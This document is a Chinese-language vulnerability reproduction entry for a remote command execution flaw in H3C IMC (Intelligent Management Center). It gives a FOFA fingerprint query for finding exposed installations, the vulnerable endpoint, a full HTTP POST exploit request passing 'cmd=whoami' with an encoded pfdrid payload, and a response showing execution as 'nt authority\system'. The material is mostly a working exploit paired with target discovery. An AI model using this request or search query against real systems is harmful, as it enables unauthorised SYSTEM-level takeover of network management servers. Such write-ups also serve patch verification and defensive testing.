

H17-1H3C-IMC智能管理中心-RCE

漏洞描述：

H3C IMC (Intelligent Management Center) 智能管理中心是H3C推出的下一代业务智能管理产品。它融合了当前多个产品，以统一风格提供与网络相关的各类管理、控制、监控等功能；同时以开放的组件化的架构原型，向平台及其承载业务提供分布式、分级式交互管理特性；并为业务软件的下一代产品提供最可靠的、可扩展、高性能的业务平台。
H3C IMC dynamiccontent.properties.xhtml 存在远程命令执行，攻击者通过构造特殊的请求造成远程命令执行

网站图片：



网络测绘：

fofa语法：

- FOFA: body="/imc/javax.faces.resource/images/login_help.png.jsf?ln=primefaces-imc-new-webui"

漏洞复现：

漏洞位置：/imc/javax.faces.resource/dynamiccontent.properties.xhtml

数据包：

payload:

```
POST /imc/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1 Host: 127.0.0.1:9090 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=F92841E0E8B8B5862380EE8A26113638; oam.Flash.RENDERMAP.TOKEN=-2s6vgzIac Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 1567
```

```
cmd=whoami&ln=primefaces&pfidrid=uMKlJPgnOTVxmOB%2BH6%2FQEPW9ghJML3PRdkfmbiiPkUDzOAoSQnmBt4dYyjGhVqupdnBV%2FKAe9gtw54DSQC72JjEAsHTRvxAu/C%2B%2FIFzB8dhqyGafOI
```

效果图：

请求

美化RawInActions

1 POST /imc/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
2 Host: 127.0.0.1:9090
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 Accept-Encoding: gzip, deflate
7 Connection: close
8 Cookie: JSESSIONID=F92841E0E8B8B5862380EE8A26113638; oam.Flash.RENDERMAP.TOKEN=-2s6vgzIac
9 Upgrade-Insecure-Requests: 1
10 Content-Type: application/x-www-form-urlencoded
11 Content-Length: 1567
12
13 cmd=whoami&ln=primefaces&pfidrid=uMKlJPgnOTVxmOB%2BH6%2FQEPW9ghJML3PRdkfmbiiPkUDzOAoSQnmBt4dYyjGhVqupdnBV%2FKAe9gtw54DSQC72JjEAsHTRvxAu/C%2B%2FIFzB8dhqyGafOI

响应

美化Raw页面渲染InActions

1 HTTP/1.1 200 OK
2 Server: Apache-Coyote/1.1
3 P3P: CP=CAO PSA OUR
4 Content-Type: text/plain;charset=UTF-8
5 Vary: Accept-Encoding
6 Date: Sun, 16 Jul 2023 14:49:34 GMT
7 Connection: close
8 Content-Length: 20
9
10 nt authority\system
11